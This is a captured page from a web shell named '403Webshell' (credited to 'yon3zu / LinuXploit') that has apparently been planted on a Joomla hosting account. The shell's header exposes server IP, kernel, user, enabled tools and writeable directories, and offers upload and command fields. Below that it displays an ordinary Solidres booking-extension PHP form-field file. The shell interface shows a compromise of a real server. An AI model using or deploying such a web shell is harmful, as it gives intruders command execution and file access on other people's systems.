403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/administrator/components/com_solidres/models/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/administrator/components/com_solidres/models/fields/languageoverride.php
<?php
/**
 * ------------------------------------------------------------------------
 * SOLIDRES - Accommodation booking extension for Joomla
 * ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 * ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Editor\Editor;
use Joomla\Registry\Registry;

class JFormFieldLanguageOverride extends FormField
{
	protected $type = 'LanguageOverride';

	protected function getInput()
	{
		$languages       = LanguageHelper::getLanguages();
		$defaultLangCode = ComponentHelper::getParams('com_languages')->get('site', 'en-GB');
		$selector        = 'languageOverride' . $this->id;
		$fileBase        = null;

		if ($category = $this->getAttribute('category'))
		{
			if ($this->getAttribute('scope', 0)
				&& SRPlugin::isEnabled('experience')
			)
			{
				$fileBase = SRPlugin::getPluginPath('experience') . '/language/{lang}/{lang}.plg_solidres_experience.' . $category . '.ini';
			}
			else
			{
				$fileBase = JPATH_ROOT . '/components/com_solidres/language/{lang}/{lang}.com_solidres_category_' . $category . '.ini';
			}
		}

		$input = HTMLHelper::_('bootstrap.startTabSet', $selector, ['active' => 'languageOverride' . $defaultLangCode]);

		foreach ($languages as $language)
		{
			$html = '';

			if ($fileBase)
			{
				$file = str_replace('{lang}', $language->lang_code, $fileBase);

				if (is_file($file))
				{
					$registry = new Registry;
					$registry->loadFile($file, 'INI');
					$html = $registry->toString('INI');
				}
			}

			$input .= HTMLHelper::_('bootstrap.addTab', $selector, 'languageOverride' . $language->lang_code, $language->title_native);
			$input .= Editor::getInstance('codemirror')->display('languageOverride[' . $language->lang_code . ']', $html, '100%', 450, 50, 25, false, null, null, null, ['syntax' => 'properties']);
			$input .= HTMLHelper::_('bootstrap.endTab');
		}

		$input .= HTMLHelper::_('bootstrap.endTabSet');

		return $input;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit